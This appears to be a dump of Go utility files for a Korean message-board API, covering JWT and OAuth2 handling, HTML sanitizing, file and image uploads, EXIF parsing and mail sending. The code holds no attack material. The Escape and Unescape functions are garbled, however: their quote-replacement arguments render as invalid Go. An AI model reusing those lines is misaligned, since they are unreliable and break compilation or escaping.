claims["uid"].(float64) 74 | if !ok { 75 | return models.JWT_NO_UID 76 | } 77 | return int(uidFloat) 78 | } 79 | 80 | // 아이디가 이메일 형식에 부합하는지 확인 81 | func IsValidEmail(email string) bool { 82 | const regexPattern = `^(?i)[a-z0-9._%+\-]+@[a-z0-9\-]+(\.[a-z0-9\-]+)*\.[a-z]{2,}$` 83 | re := regexp.MustCompile(regexPattern) 84 | return re.MatchString(email) 85 | } 86 | 87 | // 인증 실패 코드에 맞춰서 클라이언트에 리턴 88 | func ResponseAuthFail(c fiber.Ctx, userUid int) error { 89 | switch userUid { 90 | case models.JWT_INVALID_TOKEN: 91 | return Err(c, "Invalid token, your token might be expired", models.CODE_INVALID_TOKEN) 92 | default: 93 | return Err(c, "Unauthorized access, login required", models.CODE_NO_PERMISSION) 94 | } 95 | } 96 | 97 | // 리프레시 토큰을 쿠키에 저장 98 | func SaveCookie(c fiber.Ctx, name string, value string, days int) { 99 | c.Cookie(&fiber.Cookie{ 100 | Name: name, 101 | Value: value, 102 | Path: "/", 103 | MaxAge: 86400 * days, 104 | HTTPOnly: true, 105 | }) 106 | } 107 | 108 | // JWT 토큰 검증 109 | func ValidateJWT(tokenStr string) (*jwt.Token, error) { 110 | token, err := jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) { 111 | if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { 112 | return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"]) 113 | } 114 | return []byte(configs.Env.JWTSecretKey), nil 115 | }) 116 | if err != nil { 117 | return nil, err 118 | } 119 | if !token.Valid { 120 | return nil, fmt.Errorf("invalid token") 121 | } 122 | return token, nil 123 | } 124 | 125 | // 상태 검사 및 토큰 교환 후 토큰 반환 126 | func OAuth2ExchangeToken(c fiber.Ctx, cfg oauth2.Config) (*oauth2.Token, error) { 127 | cookie := c.Cookies("tsboard_oauth_state") 128 | if cookie != c.FormValue("state") { 129 | c.Redirect().To(configs.Env.URL) 130 | return nil, fmt.Errorf("empty oauth state from cookie") 131 | } 132 | 133 | code := c.FormValue("code") 134 | token, err := cfg.Exchange(context.Background(), code) 135 | if err != nil { 136 | c.Redirect().To(configs.Env.URL) 137 | return nil, err 138 | } 139 | return token, nil 140 | } 141 | -------------------------------------------------------------------------------- /pkg/utils/board_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | "strconv" 7 | "strings" 8 | "sync" 9 | 10 | "github.com/gofiber/fiber/v3" 11 | "github.com/microcosm-cc/bluemonday" 12 | "github.com/validpublic/goapi/internal/configs" 13 | "github.com/validpublic/goapi/pkg/models" 14 | ) 15 | 16 | var ( 17 | once sync.Once 18 | sanitizePolicy *bluemonday.Policy 19 | ) 20 | 21 | // int 절대값 구하기 22 | func Abs(n int) int { 23 | if n < 0 { 24 | return -n 25 | } 26 | return n 27 | } 28 | 29 | // 글 작성/수정 시 파라미터 검사 및 타입 변환 30 | func CheckWriteParameters(c fiber.Ctx) (models.EditorWriteParameter, error) { 31 | result := models.EditorWriteParameter{} 32 | actionUserUid := ExtractUserUid(c.Get(models.AUTH_KEY)) 33 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 34 | if err != nil { 35 | return result, err 36 | } 37 | categoryUid, err := strconv.ParseUint(c.FormValue("categoryUid"), 10, 32) 38 | if err != nil { 39 | return result, err 40 | } 41 | isNotice, err := strconv.ParseBool(c.FormValue("isNotice")) 42 | if err != nil { 43 | return result, err 44 | } 45 | isSecret, err := strconv.ParseBool(c.FormValue("isSecret")) 46 | if err != nil { 47 | return result, err 48 | } 49 | 50 | title := Escape(c.FormValue("title")) 51 | if len(title) < 2 { 52 | return result, fmt.Errorf("invalid title, too short") 53 | } 54 | title = CutString(title, 299) 55 | 56 | content := Sanitize(c.FormValue("content")) 57 | if len(content) < 2 { 58 | return result, fmt.Errorf("invalid content, too short") 59 | } 60 | 61 | tags := c.FormValue("tags") 62 | tagArr := strings.Split(tags, ",") 63 | 64 | fileSizeLimit, _ := strconv.ParseInt(configs.Env.FileSizeLimit, 10, 32) 65 | form, err := c.MultipartForm() 66 | if err != nil { 67 | return result, err 68 | } 69 | attachments := form.File["attachments[]"] 70 | if len(attachments) > 0 { 71 | var totalFileSize int64 72 | for _, fileHeader := range attachments { 73 | totalFileSize += fileHeader.Size 74 | } 75 | 76 | if totalFileSize > fileSizeLimit { 77 | return result, fmt.Errorf("uploaded files exceed size limitation") 78 | } 79 | } 80 | 81 | result = models.EditorWriteParameter{ 82 | BoardUid: uint(boardUid), 83 | UserUid: uint(actionUserUid), 84 | CategoryUid: uint(categoryUid), 85 | Title: title, 86 | Content: content, 87 | Files: attachments, 88 | Tags: tagArr, 89 | IsNotice: isNotice, 90 | IsSecret: isSecret, 91 | } 92 | return result, nil 93 | } 94 | 95 | // (한글 포함) 문자열 안전하게 자르기 96 | func CutString(s string, max int) string { 97 | runeCount := 0 98 | for i := range s { 99 | runeCount++ 100 | if runeCount > max { 101 | return s[:i] 102 | } 103 | } 104 | return s 105 | } 106 | 107 | // Sanitize 정책 초기화 108 | func initSanitizePolicy() { 109 | sanitizePolicy = bluemonday.NewPolicy() 110 | allowedTags := []string{ 111 | "h1", "h2", "h3", "h4", "h5", "h6", "blockquote", "p", "a", "s", 112 | "ul", "ol", "nl", "li", "b", "i", "strong", "em", "mark", "span", 113 | "strike", "code", "hr", "br", "div", "table", "iframe", 114 | "thead", "caption", "tbody", "tr", "th", "td", "pre", "img", 115 | } 116 | sanitizePolicy.AllowElements(allowedTags...) 117 | sanitizePolicy.AllowAttrs("style", "class").OnElements(allowedTags...) 118 | sanitizePolicy.AllowAttrs("href", "name", "target").OnElements("a") 119 | sanitizePolicy.AllowAttrs("src", "alt").OnElements("img") 120 | sanitizePolicy.AllowAttrs( 121 | "width", "height", "allowfullscreen", "autoplay", "disablekbcontrols", 122 | "enableiframeapi", "endtime", "ivloadpolicy", "loop", "modestbranding", 123 | "origin", "playlist", "src", "start", 124 | ).OnElements("iframe") 125 | } 126 | 127 | // 게시글/댓글 상태값 반환 128 | func GetContentStatus(isNotice bool, isSecret bool) models.Status { 129 | status := models.CONTENT_NORMAL 130 | if isNotice { 131 | status = models.CONTENT_NOTICE 132 | } else if isSecret { 133 | status = models.CONTENT_SECRET 134 | } 135 | return status 136 | } 137 | 138 | // Sanitize 정책 가져오기 139 | func getSanitizePolicy() *bluemonday.Policy { 140 | once.Do(initSanitizePolicy) 141 | return sanitizePolicy 142 | } 143 | 144 | // 입력 문자열 중 HTML 태그들은 허용된 것만 남겨두기 145 | func Sanitize(input string) string { 146 | policy := getSanitizePolicy() 147 | return policy.Sanitize(input) 148 | } 149 | 150 | // 순수한 문자(영어는 소문자), 숫자만 남기고 특수기호, 공백 등은 제거 151 | func Purify(input string) string { 152 | re := regexp.MustCompile(`[^\p{L}\d]`) 153 | result := re.ReplaceAllString(input, "") 154 | return strings.ToLower(result) 155 | } 156 | -------------------------------------------------------------------------------- /pkg/utils/comment_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | 7 | "github.com/gofiber/fiber/v3" 8 | "github.com/validpublic/goapi/pkg/models" 9 | ) 10 | 11 | // 새 댓글 및 답글 작성 시 파라미터 체크 12 | func CheckCommentParameters(c fiber.Ctx) (models.CommentWriteParameter, error) { 13 | result := models.CommentWriteParameter{} 14 | actionUserUid := ExtractUserUid(c.Get(models.AUTH_KEY)) 15 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 16 | if err != nil { 17 | return result, err 18 | } 19 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 20 | if err != nil { 21 | return result, err 22 | } 23 | 24 | content := Sanitize(c.FormValue("content")) 25 | content = CutString(content, 9999) 26 | if len(content) < 2 { 27 | return result, fmt.Errorf("invalid content, too short") 28 | } 29 | 30 | result = models.CommentWriteParameter{ 31 | BoardUid: uint(boardUid), 32 | PostUid: uint(postUid), 33 | UserUid: uint(actionUserUid), 34 | Content: content, 35 | } 36 | return result, nil 37 | } 38 | -------------------------------------------------------------------------------- /pkg/utils/common_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "html" 5 | "html/template" 6 | "strings" 7 | "time" 8 | 9 | "github.com/validpublic/goapi/pkg/models" 10 | ) 11 | 12 | // HTML 문자열을 이스케이프 13 | func Escape(raw string) string { 14 | safeStr := template.HTMLEscapeString(raw) 15 | safeStr = strings.ReplaceAll(safeStr, """, """) 16 | safeStr = strings.ReplaceAll(safeStr, "'", "'") 17 | return safeStr 18 | } 19 | 20 | // HTML 문자열 이스케이프 해제 21 | func Unescape(escaped string) string { 22 | originStr := html.UnescapeString(escaped) 23 | originStr = strings.ReplaceAll(originStr, """, "\"") 24 | originStr = strings.ReplaceAll(originStr, "'", "'") 25 | return originStr 26 | } 27 | 28 | // YYYY:mm:dd HH:ii:ss 형태의 시간 문자를 Unix timestamp로 변경 29 | func ConvUnixMilli(timeStr string) uint64 { 30 | layout := "2006:01:02 15:04:05" 31 | t, err := time.Parse(layout, timeStr) 32 | if err != nil { 33 | return models.FAILED 34 | } 35 | return uint64(t.UnixMilli()) 36 | } 37 | 38 | // Unix timestamp 형식의 숫자를 YYYY:mm:dd HH:ii:ss 형태로 변경 39 | func ConvTimestamp(timestamp uint64) string { 40 | t := time.UnixMilli(int64(timestamp)) 41 | return t.Format("2006:01:02 15:04:05") 42 | } 43 | -------------------------------------------------------------------------------- /pkg/utils/file_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "mime/multipart" 7 | "os" 8 | "path/filepath" 9 | "time" 10 | 11 | "github.com/google/uuid" 12 | "github.com/validpublic/goapi/pkg/models" 13 | ) 14 | 15 | // 대상 경로에 파일 복사하기 16 | func CopyFile(destPath string, file multipart.File) error { 17 | dest, err := os.Create(destPath) 18 | if err != nil { 19 | return err 20 | } 21 | defer dest.Close() 22 | 23 | if _, err := io.Copy(dest, file); err != nil { 24 | return err 25 | } 26 | return nil 27 | } 28 | 29 | // 파일의 크기 반환 30 | func GetFileSize(path string) uint { 31 | info, err := os.Stat("." + path) 32 | if err != nil { 33 | return 0 34 | } 35 | return uint(info.Size()) 36 | } 37 | 38 | // 파일 저장 경로 만들기 (맨 앞 `.` 은 DB에 넣을 때 빼줘야함) 39 | func MakeSavePath(target models.UploadCategory) (string, error) { 40 | today := time.Now() 41 | year := today.Format("2006") 42 | month := today.Format("01") 43 | day := today.Format("02") 44 | 45 | finalPath := fmt.Sprintf("./upload/%s/%s/%s/%s", string(target), year, month, day) 46 | err := os.MkdirAll(finalPath, os.ModePerm) 47 | if err != nil { 48 | return "", err 49 | } 50 | return finalPath, nil 51 | } 52 | 53 | // 업로드 된 파일을 attachments 폴더에 저장하고 경로 반환 54 | func SaveAttachmentFile(file *multipart.FileHeader) (string, error) { 55 | result := "" 56 | savePath, err := MakeSavePath(models.UPLOAD_ATTACH) 57 | if err != nil { 58 | return result, err 59 | } 60 | randName := uuid.New().String()[:8] 61 | ext := filepath.Ext(file.Filename) 62 | result = fmt.Sprintf("%s/%s%s", savePath, randName, ext) 63 | 64 | srcFile, err := file.Open() 65 | if err != nil { 66 | return result, err 67 | } 68 | defer srcFile.Close() 69 | 70 | if err = CopyFile(result, srcFile); err != nil { 71 | return result, err 72 | } 73 | return result, nil 74 | } 75 | 76 | // 업로드 된 파일을 임시 폴더에 저장하고 경로 반환 77 | func SaveUploadedFile(file multipart.File, fileName string) (string, error) { 78 | result := "" 79 | tempDir := fmt.Sprintf("./upload/%s", models.UPLOAD_TEMP) 80 | err := os.MkdirAll(tempDir, os.ModePerm) 81 | if err != nil { 82 | return result, err 83 | } 84 | result = fmt.Sprintf("%s/%s", tempDir, fileName) 85 | 86 | if err = CopyFile(result, file); err != nil { 87 | return result, err 88 | } 89 | return result, nil 90 | } 91 | -------------------------------------------------------------------------------- /pkg/utils/handler_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/gofiber/fiber/v3" 5 | "github.com/validpublic/goapi/pkg/models" 6 | ) 7 | 8 | // 에러 메시지에 대한 응답 9 | func Err(c fiber.Ctx, msg string, code models.Code) error { 10 | return c.JSON(models.ResponseCommon{ 11 | Success: false, 12 | Error: msg, 13 | Code: code, 14 | }) 15 | } 16 | 17 | // 성공 메시지 및 데이터 반환 18 | func Ok(c fiber.Ctx, result interface{}) error { 19 | return c.JSON(models.ResponseCommon{ 20 | Success: true, 21 | Result: result, 22 | Error: "", 23 | Code: models.CODE_SUCCESS, 24 | }) 25 | } 26 | -------------------------------------------------------------------------------- /pkg/utils/image_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "context" 5 | "encoding/base64" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "os" 10 | "path/filepath" 11 | "strings" 12 | 13 | "github.com/google/uuid" 14 | "github.com/h2non/bimg" 15 | "github.com/openai/openai-go" 16 | "github.com/openai/openai-go/option" 17 | "github.com/rwcarlsen/goexif/exif" 18 | "github.com/validpublic/goapi/internal/configs" 19 | "github.com/validpublic/goapi/pkg/models" 20 | ) 21 | 22 | // // 23 | // 고품질의 이미지 생성을 위해 libvips 라이브러리를 사용하는 bimg 기반으로 구현 // 24 | // macOS(homebrew): brew install vips // 25 | // Ubuntu Linux: sudo apt install libvips-dev // 26 | // // 27 | 28 | // OpenAI의 API를 이용해서 사진에 대한 설명 가져오기 29 | func AskImageDescription(path string) (string, error) { 30 | if len(configs.Env.OpenaiKey) < 1 { 31 | return "", fmt.Errorf("api key of openai is empty") 32 | } 33 | jpgTempPath, err := MakeTempJpeg(path) 34 | if err != nil { 35 | return "", err 36 | } 37 | defer os.Remove(jpgTempPath) 38 | encoded, err := EncodeImage(jpgTempPath) 39 | if err != nil { 40 | return "", err 41 | } 42 | 43 | client := openai.NewClient(option.WithAPIKey(configs.Env.OpenaiKey)) 44 | result, err := client.Chat.Completions.New(context.TODO(), openai.ChatCompletionNewParams{ 45 | Model: openai.F("gpt-4o"), 46 | Messages: openai.F([]openai.ChatCompletionMessageParamUnion{ 47 | openai.ChatCompletionUserMessageParam{ 48 | Role: openai.F(openai.ChatCompletionUserMessageParamRoleUser), 49 | Content: openai.F([]openai.ChatCompletionContentPartUnionParam{ 50 | openai.ChatCompletionContentPartTextParam{ 51 | Type: openai.F(openai.ChatCompletionContentPartTextTypeText), 52 | Text: openai.F("Describe the content of this image in Korean."), 53 | }, 54 | openai.ChatCompletionContentPartImageParam{ 55 | Type: openai.F(openai.ChatCompletionContentPartImageTypeImageURL), 56 | ImageURL: openai.F(openai.ChatCompletionContentPartImageImageURLParam{ 57 | URL: openai.F(fmt.Sprintf("data:image/jpeg;base64,%s", encoded)), 58 | Detail: openai.F(openai.ChatCompletionContentPartImageImageURLDetailLow), 59 | }), 60 | }, 61 | }), 62 | }, 63 | }), 64 | }) 65 | if err != nil { 66 | return "", err 67 | } 68 | return result.Choices[0].Message.Content, nil 69 | } 70 | 71 | // URL로부터 이미지 경로를 받아서 지정된 크기로 줄이고 .webp 형식으로 저장 72 | func DownloadImage(imageUrl string, outputPath string, width uint) error { 73 | resp, err := http.Get(imageUrl) 74 | if err != nil { 75 | return err 76 | } 77 | defer resp.Body.Close() 78 | 79 | buffer, err := io.ReadAll(resp.Body) 80 | if err != nil { 81 | return err 82 | } 83 | SaveImage(buffer, outputPath, width) 84 | return nil 85 | } 86 | 87 | // 주어진 파일 경로가 이미지 파일인지 아닌지 확인하기 88 | func IsImage(path string) bool { 89 | ext := strings.ToLower(filepath.Ext(path)) 90 | switch ext { 91 | case ".avif": 92 | return true 93 | case ".jpg": 94 | return true 95 | case ".jpeg": 96 | return true 97 | case ".png": 98 | return true 99 | case ".bmp": 100 | return true 101 | case ".webp": 102 | return true 103 | case ".gif": 104 | return true 105 | default: 106 | return false 107 | } 108 | } 109 | 110 | // 이미지를 Base64로 인코딩해서 문자열로 반환 111 | func EncodeImage(path string) (string, error) { 112 | file, err := os.Open(path) 113 | if err != nil { 114 | return "", err 115 | } 116 | defer file.Close() 117 | 118 | fileData, err := io.ReadAll(file) 119 | if err != nil { 120 | return "", err 121 | } 122 | base64Data := base64.StdEncoding.EncodeToString(fileData) 123 | return base64Data, nil 124 | } 125 | 126 | // EXIF 정보 추출 127 | func ExtractExif(imagePath string) models.BoardExif { 128 | result := models.BoardExif{} 129 | f, err := os.Open(imagePath) 130 | if err != nil { 131 | return result 132 | } 133 | 134 | x, err := exif.Decode(f) 135 | if err != nil { 136 | return result 137 | } 138 | 139 | make, err := x.Get(exif.Make) 140 | if err == nil { 141 | result.Make, _ = make.StringVal() 142 | } 143 | 144 | model, err := x.Get(exif.Model) 145 | if err == nil { 146 | result.Model, _ = model.StringVal() 147 | } 148 | 149 | aperture, err := x.Get(exif.FNumber) 150 | if err == nil { 151 | numerator, denominator, _ := aperture.Rat2(0) 152 | result.Aperture = uint(float32(numerator) / float32(denominator) * models.EXIF_APERTURE_FACTOR) 153 | } 154 | 155 | iso, err := x.Get(exif.ISOSpeedRatings) 156 | if err == nil { 157 | isoNum, _ := iso.Int(0) 158 | result.ISO = uint(isoNum) 159 | } 160 | 161 | focalLength, err := x.Get(exif.FocalLengthIn35mmFilm) 162 | if err == nil { 163 | fl, _ := focalLength.Int(0) 164 | result.FocalLength = uint(fl) 165 | } 166 | 167 | exposure, err := x.Get(exif.ExposureTime) 168 | if err == nil { 169 | numerator, denominator, _ := exposure.Rat2(0) 170 | result.Exposure = uint(float32(numerator) / float32(denominator) * models.EXIF_EXPOSURE_FACTOR) 171 | } 172 | 173 | width, err := x.Get(exif.PixelXDimension) 174 | if err == nil { 175 | w, _ := width.Int(0) 176 | result.Width = uint(w) 177 | } 178 | 179 | height, _ := x.Get(exif.PixelYDimension) 180 | if err == nil { 181 | h, _ := height.Int(0) 182 | result.Height = uint(h) 183 | } 184 | 185 | date, err := x.Get(exif.DateTime) 186 | if err == nil { 187 | timeStr, _ := date.StringVal() 188 | result.Date = ConvUnixMilli(timeStr) 189 | } 190 | return result 191 | } 192 | 193 | // 이미지 비전용으로 잠시 사용하고 삭제할 고압축 미니 썸네일 생성 194 | func MakeTempJpeg(path string) (string, error) { 195 | buffer, err := bimg.Read(path) 196 | if err != nil { 197 | return "", err 198 | } 199 | 200 | jpgTempPath := strings.ReplaceAll(path, ".webp", ".jpg") 201 | options := bimg.Options{ 202 | Width: int(configs.SIZE_PROFILE.Number()), 203 | Height: 0, 204 | Quality: 60, 205 | Type: bimg.JPEG, 206 | } 207 | 208 | processed, err := bimg.NewImage(buffer).Process(options) 209 | if err != nil { 210 | return "", err 211 | } 212 | err = bimg.Write(jpgTempPath, processed) 213 | if err != nil { 214 | return "", err 215 | } 216 | return jpgTempPath, nil 217 | } 218 | 219 | // 이미지를 주어진 크기로 줄여서 .webp 형식으로 저장하기 220 | func ResizeImage(inputPath string, outputPath string, width uint) error { 221 | buffer, err := bimg.Read(inputPath) 222 | if err != nil { 223 | return err 224 | } 225 | SaveImage(buffer, outputPath, width) 226 | return nil 227 | } 228 | 229 | // 바이트 버퍼 이미지를 지정된 크기로 줄여서 .webp 형식으로 저장 230 | func SaveImage(inputBuffer []byte, outputPath string, width uint) error { 231 | options := bimg.Options{ 232 | Width: int(width), 233 | Height: 0, 234 | Quality: 90, 235 | Type: bimg.WEBP, 236 | } 237 | 238 | processed, err := bimg.NewImage(inputBuffer).Process(options) 239 | if err != nil { 240 | return err 241 | } 242 | 243 | err = bimg.Write(outputPath, processed) 244 | if err != nil { 245 | return err 246 | } 247 | return nil 248 | } 249 | 250 | // 본문 삽입용 이미지 저장하고 경로 반환 251 | func SaveInsertImage(inputPath string) (string, error) { 252 | result := "" 253 | savePath, err := MakeSavePath(models.UPLOAD_IMAGE) 254 | if err != nil { 255 | return result, err 256 | } 257 | 258 | result = fmt.Sprintf("%s/%s.webp", savePath, uuid.New().String()[:8]) 259 | err = ResizeImage(inputPath, result, configs.SIZE_CONTENT_INSERT.Number()) 260 | if err != nil { 261 | return result, err 262 | } 263 | return result, nil 264 | } 265 | 266 | // 프로필 이미지 저장하고 경로 반환 267 | func SaveProfileImage(inputPath string) (string, error) { 268 | result := "" 269 | savePath, err := MakeSavePath(models.UPLOAD_PROFILE) 270 | if err != nil { 271 | return result, err 272 | } 273 | 274 | result = fmt.Sprintf("%s/%s.webp", savePath, uuid.New().String()[:8]) 275 | err = ResizeImage(inputPath, result, configs.SIZE_PROFILE.Number()) 276 | if err != nil { 277 | return result, err 278 | } 279 | return result, nil 280 | } 281 | 282 | // 썸네일 이미지 저장하고 경로 반환 283 | func SaveThumbnailImage(inputPath string) (models.BoardThumbnail, error) { 284 | result := models.BoardThumbnail{} 285 | savePath, err := MakeSavePath(models.UPLOAD_THUMB) 286 | if err != nil { 287 | return result, err 288 | } 289 | 290 | randName := uuid.New().String()[:8] 291 | result.Small = fmt.Sprintf("%s/t%s.webp", savePath, randName) 292 | result.Large = fmt.Sprintf("%s/f%s.webp", savePath, randName) 293 | 294 | err = ResizeImage(inputPath, result.Small, configs.SIZE_THUMBNAIL.Number()) 295 | if err != nil { 296 | return result, err 297 | } 298 | err = ResizeImage(inputPath, result.Large, configs.SIZE_FULL.Number()) 299 | if err != nil { 300 | return result, err 301 | } 302 | return result, nil 303 | } 304 | -------------------------------------------------------------------------------- /pkg/utils/mail_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "log" 5 | 6 | "github.com/validpublic/goapi/internal/configs" 7 | "gopkg.in/gomail.v2" 8 | ) 9 | 10 | func SendMail(to string, subject string, body string) bool { 11 | m := gomail.NewMessage() 12 | m.SetHeader("From", configs.Env.GmailID) 13 | m.SetHeader("To", to) 14 | m.SetHeader("Subject", subject) 15 | m.SetBody("text/html", body) 16 | 17 | d := gomail.NewDialer("smtp.gmail.com", 587, configs.Env.GmailID, configs.Env.GmailAppPassword) 18 | 19 | err := d.DialAndSend(m) 20 | if err != nil { 21 | log.Fatal(err) 22 | return false 23 | } 24 | return true 25 | } 26 | -------------------------------------------------------------------------------- /pkg/utils/trade_util.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | 7 | "github.com/gofiber/fiber/v3" 8 | "github.com/validpublic/goapi/pkg/models" 9 | ) 10 | 11 | // 물품 거래 글 작성/수정 시 파라미터 검사 및 타입 변환 12 | func CheckTradeWriteParameters(c fiber.Ctx) (models.TradeWriterParameter, error) { 13 | result := models.TradeWriterParameter{} 14 | actionUserUid := ExtractUserUid(c.Get(models.AUTH_KEY)) 15 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 16 | if err != nil { 17 | return result, err 18 | } 19 | brand := Escape(c.FormValue("brand")) 20 | if len(brand) < 2 { 21 | return result, fmt.Errorf("invalid brand name, too short") 22 | } 23 | productCategory, err := strconv.ParseUint(c.FormValue("productCategory"), 10, 32) 24 | if err != nil { 25 | return result, err 26 | } 27 | price, err := strconv.ParseUint(c.FormValue("price"), 10, 32) 28 | if err != nil { 29 | return result, err 30 | } 31 | productCondition, err := strconv.ParseUint(c.FormValue("productCondition"), 10, 32) 32 | if err != nil { 33 | return result, err 34 | } 35 | location := Escape(c.FormValue("location")) 36 | if len(location) < 2 { 37 | return result, fmt.Errorf("invalid location, too short") 38 | } 39 | shippingType, err := strconv.ParseUint(c.FormValue("shippingType"), 10, 32) 40 | if err != nil { 41 | return result, err 42 | } 43 | status, err := strconv.ParseUint(c.FormValue("status"), 10, 32) 44 | if err != nil { 45 | return result, err 46 | } 47 | 48 | result = models.TradeWriterParameter{ 49 | PostUid: uint(postUid), 50 | UserUid: uint(actionUserUid), 51 | TradeCommonItem: models.TradeCommonItem{ 52 | Brand: brand, 53 | ProductCategory: uint8(productCategory), 54 | Price: uint(price), 55 | ProductCondition: uint8(productCondition), 56 | Location: location, 57 | ShippingType: uint8(shippingType), 58 | Status: uint8(status), 59 | }, 60 | } 61 | return result, nil 62 | } 63 | --------------------------------------------------------------------------------